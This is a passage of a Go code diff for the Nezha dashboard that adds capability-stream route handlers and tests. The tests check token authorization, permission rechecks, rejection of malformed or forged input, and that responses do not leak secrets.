rpc.PurposeFileManager)) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(rpc.AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: "private-cleanup-stream"})) + + unregisterStatus, unregisterBody := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityUnregisterPath, plaintext, agentcompatCapabilityUnregisterRequest{Capability: capability, Purpose: "file_manager", ServerID: 7}) + require.Equal(t, http.StatusOK, unregisterStatus) + require.Contains(t, unregisterBody, errAgentcompatCapabilityConflict.Error()) + require.NotContains(t, unregisterBody, capability) + require.NotContains(t, unregisterBody, "private-cleanup-stream") + + failure := &agentcompatCapabilityCloseFailure{} + require.NoError(t, handler.UserConnected("private-cleanup-stream", failure)) + cancelStatus, cancelBody := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityCancelPath, plaintext, agentcompatCapabilityCancelRequest{Capability: capability, Purpose: "file_manager", ServerID: 7}) + require.Equal(t, http.StatusOK, cancelStatus) + require.Contains(t, cancelBody, errAgentcompatCapabilityCleanup.Error()) + require.NotContains(t, cancelBody, capability) + require.NotContains(t, cancelBody, "private-cleanup-stream") + require.Equal(t, int32(1), failure.closed.Load()) +} + +func TestAgentcompatCapabilityWaitHonorsRequestCancellation(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, plaintext := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + capability := registerAgentcompatCapability(t, server.URL, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "terminal", ServerID: 7}) + requestContext, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond) + defer cancel() + body := strings.NewReader(capabilityAccessJSON(capability, "terminal", 7, 0)) + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, server.URL+agentcompatCapabilityWaitPath, body) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+plaintext) + request.Header.Set("Content-Type", "application/json") + _, err = server.Client().Do(request) + require.True(t, errors.Is(err, context.DeadlineExceeded)) +} diff --git a/cmd/dashboard/controller/agentcompat_capability_handlers.go b/cmd/dashboard/controller/agentcompat_capability_handlers.go new file mode 100644 index 00000000..e7bc7ba6 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_handlers.go @@ -0,0 +1,114 @@ +//go:build agentcompat + +package controller + +import ( + "errors" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/service/rpc" +) + +func registerAgentcompatCapabilityRoutes(router *gin.Engine, patAuth gin.HandlerFunc) { + router.POST(agentcompatCapabilityRegisterPath, patAuth, commonHandler(agentcompatCapabilityRegister)) + router.POST(agentcompatCapabilityWaitPath, patAuth, commonHandler(agentcompatCapabilityWait)) + router.POST(agentcompatCapabilityCancelPath, patAuth, commonHandler(agentcompatCapabilityCancel)) + router.POST(agentcompatCapabilityUnregisterPath, patAuth, commonHandler(agentcompatCapabilityUnregister)) +} + +func agentcompatCapabilityRegister(context *gin.Context) (agentcompatCapabilityRegisterResponse, error) { + var request agentcompatCapabilityRegisterRequest + if err := decodeAgentcompatCapabilityRequest(context, &request); err != nil { + return agentcompatCapabilityRegisterResponse{}, err + } + identity, err := agentcompatCapabilityIdentityFromWire(request.Purpose, request.ServerID, request.ResourceID) + if err != nil { + return agentcompatCapabilityRegisterResponse{}, err + } + proof, err := currentAgentcompatCapabilityProof(context, identity) + if err != nil || rpc.NezhaHandlerSingleton == nil { + return agentcompatCapabilityRegisterResponse{}, errAgentcompatCapabilityUnavailable + } + capability, err := rpc.NezhaHandlerSingleton.RegisterAgentCompatIOStreamCapability(context.Request.Context(), proof.registration()) + if err != nil { + if contextError := context.Request.Context().Err(); contextError != nil { + return agentcompatCapabilityRegisterResponse{}, contextError + } + return agentcompatCapabilityRegisterResponse{}, errAgentcompatCapabilityUnavailable + } + return agentcompatCapabilityRegisterResponse{Capability: capability.String()}, nil +} + +func agentcompatCapabilityWait(context *gin.Context) (agentcompatCapabilityWaitResponse, error) { + var request agentcompatCapabilityWaitRequest + if err := decodeAgentcompatCapabilityRequest(context, &request); err != nil { + return agentcompatCapabilityWaitResponse{}, err + } + access, err := currentAgentcompatCapabilityAccess(context, request) + if errors.Is(err, errAgentcompatCapabilityInvalid) { + return agentcompatCapabilityWaitResponse{}, errAgentcompatCapabilityInvalid + } + if err != nil || rpc.NezhaHandlerSingleton == nil { + return agentcompatCapabilityWaitResponse{}, errAgentcompatCapabilityUnavailable + } + streamID, err := rpc.NezhaHandlerSingleton.WaitAgentCompatIOStreamCapability(context.Request.Context(), access) + if err != nil { + if contextError := context.Request.Context().Err(); contextError != nil { + return agentcompatCapabilityWaitResponse{}, contextError + } + return agentcompatCapabilityWaitResponse{}, errAgentcompatCapabilityUnavailable + } + return agentcompatCapabilityWaitResponse{StreamID: streamID}, nil +} + +func agentcompatCapabilityCancel(context *gin.Context) (agentcompatCapabilityEmptyResponse, error) { + access, available := inertAgentcompatCapabilityAccess(context) + if !available || rpc.NezhaHandlerSingleton == nil { + return agentcompatCapabilityEmptyResponse{}, nil + } + if err := rpc.NezhaHandlerSingleton.CancelAgentCompatIOStreamCapability(access); err != nil { + return agentcompatCapabilityEmptyResponse{}, errAgentcompatCapabilityCleanup + } + return agentcompatCapabilityEmptyResponse{}, nil +} + +func agentcompatCapabilityUnregister(context *gin.Context) (agentcompatCapabilityEmptyResponse, error) { + access, available := inertAgentcompatCapabilityAccess(context) + if !available || rpc.NezhaHandlerSingleton == nil { + return agentcompatCapabilityEmptyResponse{}, nil + } + err := rpc.NezhaHandlerSingleton.UnregisterAgentCompatIOStreamCapability(access) + if errors.Is(err, rpc.ErrAgentCompatCapabilityBound) { + return agentcompatCapabilityEmptyResponse{}, errAgentcompatCapabilityConflict + } + if err != nil { + return agentcompatCapabilityEmptyResponse{}, errAgentcompatCapabilityUnavailable + } + return agentcompatCapabilityEmptyResponse{}, nil +} + +func currentAgentcompatCapabilityAccess(context *gin.Context, request agentcompatCapabilityAccessRequest) (rpc.AgentCompatCapabilityAccess, error) { + identity, err := agentcompatCapabilityIdentityFromWire(request.Purpose, request.ServerID, request.ResourceID) + if err != nil { + return rpc.AgentCompatCapabilityAccess{}, err + } + capability, err := rpc.ParseAgentCompatIOStreamCapability(request.Capability) + if err != nil { + return rpc.AgentCompatCapabilityAccess{}, errAgentcompatCapabilityUnavailable + } + proof, err := currentAgentcompatCapabilityProof(context, identity) + if err != nil { + return rpc.AgentCompatCapabilityAccess{}, errAgentcompatCapabilityUnavailable + } + return proof.access(capability), nil +} + +func inertAgentcompatCapabilityAccess(context *gin.Context) (rpc.AgentCompatCapabilityAccess, bool) { + var request agentcompatCapabilityAccessRequest + if decodeAgentcompatCapabilityRequest(context, &request) != nil { + return rpc.AgentCompatCapabilityAccess{}, false + } + access, err := currentAgentcompatCapabilityAccess(context, request) + return access, err == nil +} diff --git a/cmd/dashboard/controller/agentcompat_capability_nat_test.go b/cmd/dashboard/controller/agentcompat_capability_nat_test.go new file mode 100644 index 00000000..e48d1444 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_nat_test.go @@ -0,0 +1,109 @@ +//go:build agentcompat + +package controller + +import ( + "context" + "net/http" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestAgentcompatNATCapabilityUsesExactCurrentProfilePermission(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + originalNAT := singleton.NATShared + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { + rpc.NezhaHandlerSingleton = originalHandler + singleton.NATShared = originalNAT + }) + require.NoError(t, singleton.DB.AutoMigrate(&model.NAT{})) + secondServer := &model.Server{Common: model.Common{ID: 8}} + secondServer.SetUserID(userID) + singleton.ServerShared.InsertForTest(secondServer) + profile := &model.NAT{Common: model.Common{ID: 41, UserID: userID}, Name: "private-profile", ServerID: 7, Domain: "private-profile.example"} + foreignProfile := &model.NAT{Common: model.Common{ID: 42, UserID: 999}, Name: "foreign-profile", ServerID: 7, Domain: "foreign-profile.example"} + require.NoError(t, singleton.DB.Create(profile).Error) + require.NoError(t, singleton.DB.Create(foreignProfile).Error) + singleton.NATShared = singleton.NewNATClass() + token, plaintext := mkToken(t, userID, []string{model.ScopeNATRead}, []uint64{7, 8}) + server := newAgentcompatCapabilityServer(t) + + capability := registerAgentcompatCapability(t, server.URL, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "nat", ServerID: 7, ResourceID: 41}) + status, mismatchBody := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityRegisterPath, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "nat", ServerID: 8, ResourceID: 41}) + require.Equal(t, http.StatusOK, status) + require.Contains(t, mismatchBody, errAgentcompatCapabilityUnavailable.Error()) + foreignStatus, foreignBody := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityRegisterPath, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "nat", ServerID: 7, ResourceID: 42}) + require.Equal(t, http.StatusOK, foreignStatus) + require.Contains(t, foreignBody, errAgentcompatCapabilityUnavailable.Error()) + + parsed, err := rpc.ParseAgentCompatIOStreamCapability(capability) + require.NoError(t, err) + access := rpc.AgentCompatCapabilityAccess{ + Capability: parsed, Owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: userID}, + Purpose: rpc.AgentCompatCapabilityNAT, TargetServerID: 7, ResourceID: 41, ServerAccessAllowed: true, + } + handle, err := handler.ConsumeAgentCompatNATCapability(access) + require.NoError(t, err) + lease, err := handler.CreateAgentCompatNATStream(handle, "private-nat-stream") + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, handler.CloseAgentCompatNATStreamLease(lease)) }) + require.NoError(t, handler.PublishAgentCompatNATStream(handle, rpc.AgentCompatNATPublication{Purpose: rpc.AgentCompatCapabilityNAT, TargetServerID: 7, ResourceID: 41, StreamID: "private-nat-stream"})) + + profile.ServerID = 8 + singleton.NATShared.Update(profile) + _, unavailableErr := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](context.Background(), server.URL+agentcompatCapabilityWaitPath, plaintext, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "nat", ServerID: 7, ResourceID: 41}) + require.Error(t, unavailableErr) + require.NotContains(t, unavailableErr.Error(), capability) + require.NotContains(t, unavailableErr.Error(), "private-nat-stream") + profile.ServerID = 7 + singleton.NATShared.Update(profile) + waitContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + waited, err := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](waitContext, server.URL+agentcompatCapabilityWaitPath, plaintext, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "nat", ServerID: 7, ResourceID: 41}) + require.NoError(t, err) + require.Equal(t, "private-nat-stream", waited.StreamID) +} + +func TestAgentcompatCapabilityOwnerIncludesCurrentAdminRole(t *testing.T) { + cleanup, _ := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + admin := &model.User{Common: model.Common{ID: 300}, Username: "cap-admin", Role: model.RoleAdmin} + require.NoError(t, singleton.DB.Create(admin).Error) + target := &model.Server{Common: model.Common{ID: 8}} + target.SetUserID(999) + singleton.ServerShared.InsertForTest(target) + token, plaintext := mkDistinctCapabilityToken(t, admin.ID, "admin") + token.SetServerIDs([]uint64{8}) + require.NoError(t, singleton.DB.Model(token).Update("servers_csv", token.ServersCSV).Error) + server := newAgentcompatCapabilityServer(t) + capability := registerAgentcompatCapability(t, server.URL, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "terminal", ServerID: 8}) + parsed, err := rpc.ParseAgentCompatIOStreamCapability(capability) + require.NoError(t, err) + require.NoError(t, handler.CreateStreamWithPurpose("admin-private-stream", admin.ID, 8, rpc.PurposeTerminal)) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(rpc.AgentCompatCapabilityBinding{ + AgentCompatCapabilityAccess: rpc.AgentCompatCapabilityAccess{ + Capability: parsed, Owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: admin.ID, IsAdmin: true}, + Purpose: rpc.AgentCompatCapabilityTerminal, TargetServerID: 8, ServerAccessAllowed: true, + }, + StreamID: "admin-private-stream", + })) + waitContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + waited, err := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](waitContext, server.URL+agentcompatCapabilityWaitPath, plaintext, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "terminal", ServerID: 8}) + require.NoError(t, err) + require.Equal(t, "admin-private-stream", waited.StreamID) +} diff --git a/cmd/dashboard/controller/agentcompat_capability_routes_test.go b/cmd/dashboard/controller/agentcompat_capability_routes_test.go new file mode 100644 index 00000000..eb6ed3b6 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_routes_test.go @@ -0,0 +1,175 @@ +//go:build agentcompat + +package controller + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +func TestAgentcompatCapabilityRoutesRequirePATAndDoNotAcceptOwnerFields(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + + requestBody := `{"purpose":"terminal","server_id":7,"pat_id":999,"user_id":999,"is_admin":true}` + requestContext, cancelRequests := context.WithTimeout(context.Background(), 5*time.Second) + defer cancelRequests() + for _, authorization := range []string{"", "Bearer jwt-looking-value", "Bearer " + token} { + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, server.URL+agentcompatCapabilityRegisterPath, strings.NewReader(requestBody)) + require.NoError(t, err) + request.Header.Set("Content-Type", "application/json") + if authorization != "" { + request.Header.Set("Authorization", authorization) + } + response, err := server.Client().Do(request) + require.NoError(t, err) + body, readErr := io.ReadAll(response.Body) + response.Body.Close() + require.NoError(t, readErr) + if authorization == "Bearer "+token { + require.Equal(t, http.StatusOK, response.StatusCode) + var envelope model.CommonResponse[agentcompatCapabilityRegisterResponse] + require.NoError(t, json.Unmarshal(body, &envelope)) + require.False(t, envelope.Success) + require.NotContains(t, string(body), "999") + continue + } + require.Equal(t, http.StatusUnauthorized, response.StatusCode) + } +} + +func TestAgentcompatCapabilityRoutesRegisterWaitCancelUnregisterTypedLifecycle(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + tok, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + + capability := registerAgentcompatCapability(t, server.URL, token, agentcompatCapabilityRegisterRequest{Purpose: "terminal", ServerID: 7}) + require.NoError(t, rpc.NezhaHandlerSingleton.CreateStreamWithPurpose("private-stream", userID, 7, rpc.PurposeTerminal)) + parsed, err := rpc.ParseAgentCompatIOStreamCapability(capability) + require.NoError(t, err) + require.NoError(t, rpc.NezhaHandlerSingleton.BindAgentCompatIOStreamCapability(rpc.AgentCompatCapabilityBinding{ + AgentCompatCapabilityAccess: rpc.AgentCompatCapabilityAccess{ + Capability: parsed, + Owner: rpc.AgentCompatCapabilityOwner{PATID: tok.ID, UserID: userID}, + Purpose: rpc.AgentCompatCapabilityTerminal, TargetServerID: 7, + ServerAccessAllowed: true, + }, + StreamID: "private-stream", + })) + waitContext, cancelWait := context.WithTimeout(context.Background(), time.Second) + defer cancelWait() + result, err := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](waitContext, server.URL+agentcompatCapabilityWaitPath, token, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.NoError(t, err) + require.Equal(t, "private-stream", result.StreamID) + + status, body := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityUnregisterPath, token, agentcompatCapabilityUnregisterRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.Equal(t, http.StatusOK, status) + require.NotContains(t, body, capability) + + status, body = postAgentcompatEmpty(t, server.URL+agentcompatCapabilityCancelPath, token, agentcompatCapabilityCancelRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.Equal(t, http.StatusOK, status) + require.NotContains(t, body, capability) +} + +func TestAgentcompatCapabilityRoutesWaitCancellationDoesNotLeakSecrets(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + + request := agentcompatCapabilityWaitRequest{Capability: strings.Repeat("a", 43), Purpose: "terminal", ServerID: 7} + status, body := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityWaitPath, token, request) + require.Equal(t, http.StatusOK, status) + require.NotContains(t, body, request.Capability) + require.NotContains(t, body, "private-stream") +} + +func registerAgentcompatCapability(t *testing.T, baseURL, token string, request agentcompatCapabilityRegisterRequest) string { + t.Helper() + requestContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + response, err := postAgentcompatCapability[agentcompatCapabilityRegisterRequest, agentcompatCapabilityRegisterResponse](requestContext, baseURL+agentcompatCapabilityRegisterPath, token, request) + require.NoError(t, err) + require.NotEmpty(t, response.Capability) + return response.Capability +} + +func postAgentcompatEmpty(t *testing.T, path, token string, body any) (int, string) { + t.Helper() + encoded, err := json.Marshal(body) + require.NoError(t, err) + requestContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, path, bytes.NewReader(encoded)) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + response, err := http.DefaultClient.Do(request) + require.NoError(t, err) + defer response.Body.Close() + bodyBytes, err := io.ReadAll(response.Body) + require.NoError(t, err) + return response.StatusCode, string(bodyBytes) +} + +func postAgentcompatCapability[Request, Response any](ctx context.Context, path, token string, body Request) (Response, error) { + var zero Response + encoded, err := json.Marshal(body) + if err != nil { + return zero, err + } + request, err := http.NewRequestWithContext(ctx, http.MethodPost, path, bytes.NewReader(encoded)) + if err != nil { + return zero, err + } + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + response, err := http.DefaultClient.Do(request) + if err != nil { + return zero, err + } + defer response.Body.Close() + var envelope model.CommonResponse[Response] + if err := json.NewDecoder(response.Body).Decode(&envelope); err != nil { + return zero, err + } + if !envelope.Success { + return zero, errors.New(envelope.Error) + } + return envelope.Data, nil +} diff --git a/cmd/dashboard/controller/agentcompat_capability_security_test.go b/cmd/dashboard/controller/agentcompat_capability_security_test.go new file mode 100644 index 00000000..cdddde99 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_security_test.go @@ -0,0 +1,238 @@ +//go:build agentcompat + +package controller + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestAgentcompatCapabilityCancelAndUnregisterAreUniformAndNonMutating(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + ownerToken, ownerPAT := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + _, foreignPAT := mkDistinctCapabilityToken(t, userID, "foreign") + server := newAgentcompatCapabilityServer(t) + capability := registerAgentcompatCapability(t, server.URL, ownerPAT, agentcompatCapabilityRegisterRequest{Purpose: agentcompatCapabilityPurposeTerminal, ServerID: 7}) + bindAgentcompatTerminalCapability(t, handler, capability, ownerToken.ID, userID, 7, "private-stream") + start := handler.SnapshotIOStreamState() + unknown := base64.RawURLEncoding.EncodeToString([]byte(strings.Repeat("u", 32))) + + cases := []struct { + name string + path string + pat string + body string + }{ + {name: "malformed cancel", path: agentcompatCapabilityCancelPath, pat: ownerPAT, body: `{"capability":`}, + {name: "oversize cancel", path: agentcompatCapabilityCancelPath, pat: ownerPAT, body: strings.Repeat("x", 513)}, + {name: "duplicate cancel", path: agentcompatCapabilityCancelPath, pat: ownerPAT, body: `{"capability":"x","capability":"y","purpose":"terminal","server_id":7}`}, + {name: "unknown cancel", path: agentcompatCapabilityCancelPath, pat: ownerPAT, body: capabilityAccessJSON(unknown, "terminal", 7, 0)}, + {name: "foreign cancel", path: agentcompatCapabilityCancelPath, pat: foreignPAT, body: capabilityAccessJSON(capability, "terminal", 7, 0)}, + {name: "purpose cancel", path: agentcompatCapabilityCancelPath, pat: ownerPAT, body: capabilityAccessJSON(capability, "file_manager", 7, 0)}, + {name: "server cancel", path: agentcompatCapabilityCancelPath, pat: ownerPAT, body: capabilityAccessJSON(capability, "terminal", 999999, 0)}, + {name: "invalid unregister", path: agentcompatCapabilityUnregisterPath, pat: ownerPAT, body: capabilityAccessJSON("invalid", "terminal", 7, 0)}, + {name: "oversize unregister", path: agentcompatCapabilityUnregisterPath, pat: ownerPAT, body: strings.Repeat("x", 513)}, + {name: "duplicate unregister", path: agentcompatCapabilityUnregisterPath, pat: ownerPAT, body: `{"capability":"x","purpose":"terminal","server_id":7,"server_id":8}`}, + {name: "foreign unregister", path: agentcompatCapabilityUnregisterPath, pat: foreignPAT, body: capabilityAccessJSON(capability, "terminal", 7, 0)}, + {name: "resource unregister", path: agentcompatCapabilityUnregisterPath, pat: ownerPAT, body: capabilityAccessJSON(capability, "terminal", 7, 41)}, + } + var uniformBody string + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + status, body := postAgentcompatRaw(t, server.URL+testCase.path, testCase.pat, testCase.body) + require.Equal(t, http.StatusOK, status) + if uniformBody == "" { + uniformBody = body + } + require.Equal(t, uniformBody, body) + require.Equal(t, start, handler.SnapshotIOStreamState()) + require.NotContains(t, body, capability) + require.NotContains(t, body, "private-stream") + }) + } + + waitContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + waited, err := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](waitContext, server.URL+agentcompatCapabilityWaitPath, ownerPAT, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.NoError(t, err) + require.Equal(t, "private-stream", waited.StreamID) +} + +func TestAgentcompatCapabilityPermissionRevocationIsRecheckedWithoutMutation(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + token, plaintext := mkToken(t, userID, []string{model.ScopeServerRead}, []uint64{7}) + server := newAgentcompatCapabilityServer(t) + capability := registerAgentcompatCapability(t, server.URL, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "terminal", ServerID: 7}) + bindAgentcompatTerminalCapability(t, handler, capability, token.ID, userID, 7, "revoked-private-stream") + start := handler.SnapshotIOStreamState() + token.SetServerIDs([]uint64{99}) + require.NoError(t, singleton.DB.Model(token).Update("servers_csv", token.ServersCSV).Error) + + cancelStatus, cancelBody := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityCancelPath, plaintext, agentcompatCapabilityCancelRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + unregisterStatus, unregisterBody := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityUnregisterPath, plaintext, agentcompatCapabilityUnregisterRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.Equal(t, http.StatusOK, cancelStatus) + require.Equal(t, http.StatusOK, unregisterStatus) + require.Equal(t, cancelBody, unregisterBody) + require.Equal(t, start, handler.SnapshotIOStreamState()) + + token.SetServerIDs(nil) + require.NoError(t, singleton.DB.Model(token).Update("servers_csv", "").Error) + waitContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + waited, err := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](waitContext, server.URL+agentcompatCapabilityWaitPath, plaintext, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.NoError(t, err) + require.Equal(t, "revoked-private-stream", waited.StreamID) +} + +func TestAgentcompatCapabilityForeignWaitAndRevokedPATCannotObserveBinding(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + ownerToken, ownerPAT := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + _, foreignPAT := mkDistinctCapabilityToken(t, userID, "foreign-wait") + server := newAgentcompatCapabilityServer(t) + capability := registerAgentcompatCapability(t, server.URL, ownerPAT, agentcompatCapabilityRegisterRequest{Purpose: "terminal", ServerID: 7}) + bindAgentcompatTerminalCapability(t, handler, capability, ownerToken.ID, userID, 7, "foreign-private-stream") + start := handler.SnapshotIOStreamState() + + foreignContext, cancelForeign := context.WithTimeout(context.Background(), time.Second) + defer cancelForeign() + _, foreignErr := postAgentcompatCapability[agentcompatCapabilityWaitRequest, agentcompatCapabilityWaitResponse](foreignContext, server.URL+agentcompatCapabilityWaitPath, foreignPAT, agentcompatCapabilityWaitRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.Error(t, foreignErr) + require.NotContains(t, foreignErr.Error(), capability) + require.NotContains(t, foreignErr.Error(), "foreign-private-stream") + require.Equal(t, start, handler.SnapshotIOStreamState()) + + require.NoError(t, singleton.DB.Delete(&model.APIToken{}, ownerToken.ID).Error) + status, body := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityWaitPath, ownerPAT, agentcompatCapabilityAccessRequest{Capability: capability, Purpose: "terminal", ServerID: 7}) + require.Equal(t, http.StatusUnauthorized, status) + require.NotContains(t, body, capability) + require.NotContains(t, body, "foreign-private-stream") + require.Equal(t, start, handler.SnapshotIOStreamState()) +} + +func TestAgentcompatCapabilityRegisterRequiresCurrentServerWhitelist(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, plaintext := mkToken(t, userID, []string{model.ScopeServerRead}, []uint64{99}) + server := newAgentcompatCapabilityServer(t) + + status, body := postAgentcompatEmpty(t, server.URL+agentcompatCapabilityRegisterPath, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "file_manager", ServerID: 7}) + + require.Equal(t, http.StatusOK, status) + require.Contains(t, body, errAgentcompatCapabilityUnavailable.Error()) + require.NotContains(t, body, "99") + require.NotContains(t, body, plaintext) +} + +func TestAgentcompatCapabilityRegisterRejectsInvalidIdentityWithoutDisclosure(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, plaintext := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + privateServer := "777777777" + cases := []string{ + `{`, + `{"purpose":"unknown","server_id":7}`, + `{"purpose":"terminal","server_id":0}`, + `{"purpose":"terminal","server_id":7,"resource_id":41}`, + `{"purpose":"nat","server_id":7}`, + `{"purpose":"terminal","server_id":` + privateServer + `}`, + } + for _, body := range cases { + status, responseBody := postAgentcompatRaw(t, server.URL+agentcompatCapabilityRegisterPath, plaintext, body) + require.Equal(t, http.StatusOK, status) + require.NotContains(t, responseBody, privateServer) + require.NotContains(t, responseBody, plaintext) + var envelope model.CommonResponse[agentcompatCapabilityRegisterResponse] + require.NoError(t, json.Unmarshal([]byte(responseBody), &envelope)) + require.False(t, envelope.Success) + require.Empty(t, envelope.Data.Capability) + } +} + +func newAgentcompatCapabilityServer(t *testing.T) *httptest.Server { + t.Helper() + 